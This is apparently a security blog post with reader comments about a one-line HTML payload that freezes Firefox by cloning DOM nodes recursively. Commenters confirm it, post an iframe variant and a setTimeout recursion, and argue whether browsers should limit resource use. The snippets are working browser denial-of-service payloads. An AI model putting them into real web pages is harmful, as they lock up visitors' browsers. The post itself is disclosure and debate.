DOM DOS Firefox

Check this DOS in Firefox:-

<img src="" onerror="appendChild(cloneNode(appendChild(cloneNode(1))))">

There are many DOM related Firefox problems, this was one of the more interesting ones I found 🙂

15 Responses to “DOM DOS Firefox”

  1. Boris writes:

    Why is this a problem exactly? There are lots of ways to trivially create exponential-growth algorithms in JS; this is just one example.

    Put another way, malicious JS-based DOS is not exactly something that’s news. It’s easy. Browsers aren’t even trying to really prevent it.

  2. Gareth Heyes writes:

    Browsers should be.

  3. Boris writes:

    Gareth, how do you tell a malicious page from a resource-hog “rich internet application” like google spreadsheets? They behave nearly identically.

    If you have a magiv author-mind-reading device, I’d love to buy one from you.

  4. Boris writes:

    That should have been “magic”, not “magiv”.

  5. Vinicius K-Max writes:

    confirmed here: FF
    complete freeze and CPU = 100% in 5 seconds.

  6. Gareth Heyes writes:


    You are talking rubbish, I like to hack things and you shouldn’t be able to make the browser crash when visiting a web page. If you don’t like what I write then please visit Fox news instead, they should provide you with the “news” you’re looking for.

    Now please go and troll somewhere else.

  7. Bart Stavenuiter writes:

    I Agree with Gareth here. At least opera doesn’t keep eating memory. Both FF 2 and FF3 beta have this problem.

  8. Boris writes:

    Gareth, I’m not sure why disagreement with you is automatically classified as trolling.

    “you shouldn’t be able to make the browser crash when visiting a web page” would be nice, but in practice it’s easy to cause runaway resource usage in all sorts of different ways. And telling apart runaway resource usage from a resource-intensive webapp involves reading the script author’s mind, in general.

    Now perhaps browsers should be able to impose CPU/memory quotas on sites. That’s being thought about, but it’s not so easy to retrofit onto an existing browser; you really want to design with that in mind. Sadly, no one did.

  9. Gareth Heyes writes:


    I like having sensible discussions but comparing ajax applications to the code sample is silly. Browsers should protect against this stuff! Opera for example has a much better security model than Firefox.

  10. vindic writes:

    Gareth: are you using Opera? or something else

  11. Gareth Heyes writes:

    Firefox is my weapon of choice mainly because of plugins. Opera is a better browser though

  12. Zach writes:

    I tried this variant:
    <iframe src=”” onload=”appendChild(cloneNode(appendChild(cloneNode(1))))”>

    And it used full CPU on FF2, Opera, and FF3 beta, though Opera remained fairly responsive so I could close the tab. FF2 froze quickly. FF3 was unresponsive but did not freeze after about 15 seconds so I could still close the tab, though it took several seconds to actually close it.

    Firefox does give you a prompt for scripts that take longer than usual to execute (like applying DHTML affects by DOM on a huge page), but this DOS is something of a different nature.

    (and SpamBam doesn’t seem to like FF3 😉

  13. Gareth Heyes writes:

    Thanks for the info Zach, I’ll fix Spambam when I get a minute cheers

  14. Boris writes:

    Gareth, Zach’s testcase is a good example of what I was saying: there are many many ways to cause exponential growth. Try this one:

    function f() {
    setTimeout(f, 0);
    setTimeout(f, 0);

    And I’ve seen ajax applications that had more or less this exact code, cutting off the recursion after some point. The problem is telling on the browser side whether they plan to do that or not (if wanting to only block malicious pages). Of course imposing resource limits in general would work, but it would also limit the scope of what webapps can do. That might be a good thing, of course.

  15. Gareth Heyes writes:

    Yep another good example, browsers should protect against this stuff. Firefox already does to some extent but obviously it needs to improve.